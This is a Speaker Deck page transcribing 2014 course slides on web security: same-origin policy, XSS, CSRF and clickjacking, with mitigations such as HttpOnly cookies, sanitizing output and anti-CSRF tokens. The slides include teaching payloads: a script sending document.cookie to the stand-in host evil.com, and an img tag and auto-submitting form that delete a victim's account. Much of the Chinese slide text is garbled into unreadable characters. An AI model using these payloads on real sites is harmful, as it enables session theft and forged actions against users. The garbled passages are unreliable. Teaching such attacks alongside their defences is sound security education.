Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Selected Topics on Website Security @ 102-2 CCSP
Search
Johnson Liang
May 29, 2014
Technology
1
440
Selected Topics on Website Security @ 102-2 CCSP
Concept of Same Origin Policy, XSS, CSRF & Clickjacking
Johnson Liang
May 29, 2014
Tweet
Share
More Decks by Johnson Liang
See All by Johnson Liang
Political Promise Tracker 政治承諾追蹤網 g0v-hackath14n 提案
mrorz
0
200
群眾協作的一些事—— 「自經區正反意見比較表」到 「臺北市長選舉承諾一覽表」到 「PPT 政治承諾追蹤網」
mrorz
0
400
Political Promise Tracker 政治承諾追蹤網 g0v-hackath12n 提案
mrorz
0
780
[Thesis Defense] SeeSS: Instant Change Impact Visualization for CSS developers
mrorz
0
260
g0v-hackath10n 提案 -- 2014 台北市長政見比較表
mrorz
0
240
網路及平台服務程式設計及零時政府 @ 創新網路技術推廣說明會
mrorz
0
150
g0v-hackath9n 提案 -- 自經區正反意見比較表
mrorz
0
110
CCSP 2014 期末成果展行前須知
mrorz
0
380
Google Analytics @ 102-2 CCSP
mrorz
0
310
Other Decks in Technology
See All in Technology
プロダクトエンジニアリング組織への歩み、その現在地 / Our journey to becoming a product engineering organization
hiro_torii
0
140
「良さそう」と「とても良い」の間には 「良さそうだがホンマか」がたくさんある / 2025.07.01 LLM品質Night
smiyawaki0820
1
450
KubeCon + CloudNativeCon Japan 2025 に行ってきた! & containerd の新機能紹介
honahuku
0
120
AWS Summit Japan 2025 Community Stage - App workflow automation by AWS Step Functions
matsuihidetoshi
1
310
KubeCon + CloudNativeCon Japan 2025 Recap by CA
ponkio_o
PRO
0
260
生成AI開発案件におけるClineの業務活用事例とTips
shinya337
0
190
KubeCon + CloudNativeCon Japan 2025 Recap
ren510dev
1
320
マーケットプレイス版Oracle WebCenter Content For OCI
oracle4engineer
PRO
3
940
事業成長の裏側:エンジニア組織と開発生産性の進化 / 20250703 Rinto Ikenoue
shift_evolve
PRO
2
5.5k
Amazon Bedrockで実現する 新たな学習体験
kzkmaeda
2
690
AI導入の理想と現実~コストと浸透〜
oprstchn
0
160
GeminiとNotebookLMによる金融実務の業務革新
abenben
0
250
Featured
See All Featured
For a Future-Friendly Web
brad_frost
179
9.8k
Fantastic passwords and where to find them - at NoRuKo
philnash
51
3.3k
Measuring & Analyzing Core Web Vitals
bluesmoon
7
500
The Invisible Side of Design
smashingmag
300
51k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
46
9.6k
The Illustrated Children's Guide to Kubernetes
chrisshort
48
50k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.3k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
281
13k
Six Lessons from altMBA
skipperchong
28
3.9k
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
357
30k
The Straight Up "How To Draw Better" Workshop
denniskardys
234
140k
The Power of CSS Pseudo Elements
geoffreycrofte
77
5.8k
Transcript
Selected Topics on Website Security Concept of Same Origin Policy,
XSS, CSRF & Clickjacking MrOrz, 102-2 CCSP Reference: ⽩白帽⼦子講 Web 安全
খࢿ҆શલি Concept of Same Origin Policy, XSS, CSRF & Clickjacking
MrOrz, 102-2 CCSP Reference: ⽩白帽⼦子講 Web 安全
Same-Origin Policy ಉݯࡦ
ᖣ᧸ث࠷֩৺࠷جຊత҆શޭೳʜʜ 8FCੋݐߏࡏಉݯࡦతجૅ೭্తɻ – 吳翰清 ❝ ❞
Same Origin Different Origin ڋ㘺 Ҹڐ ڈ፤ త౦ ڈ፤ త౦
㑌ݸᖣ᧸ث။ɿ
Same Origin Different Origin ڋ㘺 Ҹڐ ڈ፤ త౦ ڈ፤ త౦
एᔒ༗ಉݯࡦɿ
Same Origin Different Origin ڋ㘺 Ҹڐ ڈ፤ త౦ ڈ፤ త౦
Upon visiting http://evil.mobile.org : $.get(‘http://facebook.com’, {}, function(data){ // 未經允許就得到你的 Facebook 塗鴉牆 }, ‘html’); एᔒ༗ಉݯࡦɿ
https://developer.mozilla.org/zh-TW/docs/JavaScript/Same_origin_policy_for_JavaScript host, port & protocol Same Origin Different Origin
༬ઃڋ㘺ލҬ፤ࢿྉ Լྻҝಛྫ
ಛྫҰɿՄލҬࡌೖࢿݯ೭ඪត • <script> • <img> • <iframe> • <link> •
Javascript 無從讀寫其內容
ಛྫೋɿ$SPTT0SJHJO 3FTPVSDF4IBSJOH $034 • Origin request header • Access-Control-Allow-XXX response
header • Enabling cross-origin ajax, web font, WebGL & canvas
Cross-Site Scripting (XSS)
ࢦ᱆٬ಁաʮ)5.-২ೖʯ篡վྃทɼᎎೖྃ ዱҙతࢦྩߘɼਐҰ㑊ࡏ༻ऀᖣ᧸ท࣌ɼ߇ ੍༻ऀᖣ᧸ثతҰछ߈㐝ɻ – 吳翰清 ❝ ❞
<section class="intro"> <%- user.desc %> </section> Your site : Example
#1 ༻ऀ ༌ೖత)5.-
<section class="intro"> <p>Hello</p> <p>I am Johnson</p> </section> Your site :
Example #1
<section class="intro"> <script type="text/javascript"> $.getJSON('http://evil.com/', { stoken: document.cookie }); </script>
</section> Your site : Example #1 ፨๚ࠑ༻㖽ท໘తਓɼDPPLJF။ඃFWJMDPN䫖
<script type="text/javascript"> var pageTitle = "<%= userPage.title %>"; </script> Your
site : Example #2 ༻ऀࣗ༝༌ೖతࣈ۲
<script type="text/javascript"> var pageTitle = ""; $.getJSON(...); ""; </script> Your
site : Example #2 ፨๚ࠑ༻㖽ท໘తਓɼࢿྉ။ඃ䫖
$.getJSON('http://yoursite.com/page/'+pageId, {}, function(data){ $('h1').html(data.userPageTitle); }); Your site : Example #3
༻ऀࣗ༝༌ೖతࣈ۲ <h1>Welcome to my page!</h1>
$.getJSON('http://yoursite.com/page/'+pageId, {}, function(data){ $('h1').html(data.userPageTitle); }); Your site : Example #3
༻ऀࣗ༝༌ೖతࣈ۲ <h1>Welcome to my page!<script>$.getJSON('http://evil.com',...);</script></h1>
Ṝछ߈㐝తࣔൣҊྫੋލҬతɼॴҎڣ z$SPTTz 4JUF 4DSJQUJOHɻᚙల౸ࠓఱɼੋ൱ލҬቮៃෆ ࠶ॏཁɼ944Ṝݸ໊ࣈჟҰอཹྃԼိɻ – 吳翰清 ❝ ❞
ڔํࣜ 防⽌止 Cookie 盜⽤用:HttpOnly res.cookie('key', 'value', { httpOnly: true });
༬ઃଖመबੋUSVF
ڔํࣜ 防⽌止 Cookie 盜⽤用:HttpOnly res.cookie('key', 'value', { httpOnly: true });
༬ઃଖመबੋUSVF
ڔํࣜ HTML 輸出檢查 — 盡量不⽤用 <%- %> <section class="intro"> <%=
user.desc %> </section>
ڔํࣜ HTML 輸出檢查 — Caja-HTML-Sanitizer // Controller ! var sanitizer
= require('sanitizer'); sanitizedIntro = sanitizer.sanitize(user.desc); ! <!-- View --> <section class="intro"> <%- sanitizedIntro %> </section> อཹແత)5.-UBHT
ڔํࣜ Javascript 輸出檢查 — ⽤用現成 JSON.stringify <script type="text/javascript"> var page
= <%- JSON.stringify({ title: userPage.title }) %>; </script>
ڔํࣜ DOM-based XSS — 盡量⽤用 .text(…) 取代 .html(…) 或先 sanitize
想插⼊入的 HTML. $.getJSON('http://yoursite.com/page/'+pageId, {}, function(data){ $('h1').text(data.userPageTitle); });
Cross-Site Request Forgery (CSRF/XSRF)
Your site : Example #4 // Delete current user account
app.get('/user/delete', userCtrl.delete);
evil.com : Example #4 <img src="http://yoursite.com/user/delete"> ፨๚ࠑFWJMTJUFతਓɼ౸ྃ વޙ䭪ʗଞࡏZPVSTJUFDPNతாᥒबല໊ඃ႟ᎃྃ
߈㐝ऀᷮᷮ༠ಋ༻ऀ๚ྃҰݸท໘ɼबҎ֘ ༻ऀతɼࡏZPVSTJUFDPNཫࣥߦྃҰ࣍ૢ ࡞ʜʜṜछ SFRVFTU ੋ߈㐝ऀॴِతɼॴҎ ڣz$SPTTTJUF3FRVFTU'PSHFSZzɻ – 吳翰清 ❝ ❞
<iframe src="https://mail.google.com/mail/u/0/?logout"> Demo:cryptogasm.com/gmail-logout.html
evil.com : Example #5 ፨๚FWJMTJUFޙɼ༻ऀࡏZPVSTJUFDPNతாᥒबല໊ඃ႟ᎃྃ <form action="http://yoursite.com/user/delete" method="post" id="evil-form"> </form>
! <script type="text/javascript"> $('#evil-form').submit(); </script>
ڔํࣜ • CSRF 攻擊成功的要素:request 的所有參數都可以被 攻擊者猜測到。 • Anti-CSRF Token:使攻擊者無法拼湊正確 request。
ڔํࣜ
ڔํࣜ
ڔํࣜ දᄸૹग़ޙɼޙDPOUSPMMFS။ᒾ查දᄸత UPLFOੋ൱ᢛDPPLJFதతUPLFO૬ූɼ एෆҰᒬɼबෆ၏ࣄɻ
ڔํࣜ http://stackoverflow.com/questions/20420762/how-to-enable-csrf-in-express3 // Express settings ! app.use(express.cookieParser('optional secret string')); app.use(express.session());
app.use(express.csrf()); app.use(function (req, res, next) { res.locals.csrftoken = req.csrfToken(); next(); }); ! ! ! <!-- View --> ! <form action="..." method="post"> <input type="hidden" name="_csrf" value="<%= csrftoken %>"> </form> ᩋTFTTJPOཫతBOUJDTSGUPLFO ࡏWJFXཫೳ፤ಘ౸
Clickjacking
Jeremiah Grossman and Robert Hansen, 2008
http://www.crazylearner.org/clickjacking-example/ Copyright 2014 Crazylearner. Fair use
None
ڔํࣜ w ᩋ㟬తෆඃ࠹ਐJGSBNFཫ • x-frame-options: deny w IUUQTHJUIVCDPNFWJMQBDLFUIFMNFU Can’t be
your site!
http://youtu.be/VRCUpXLguHM 吳翰清 著
http://youtu.be/VRCUpXLguHM 吳翰清 著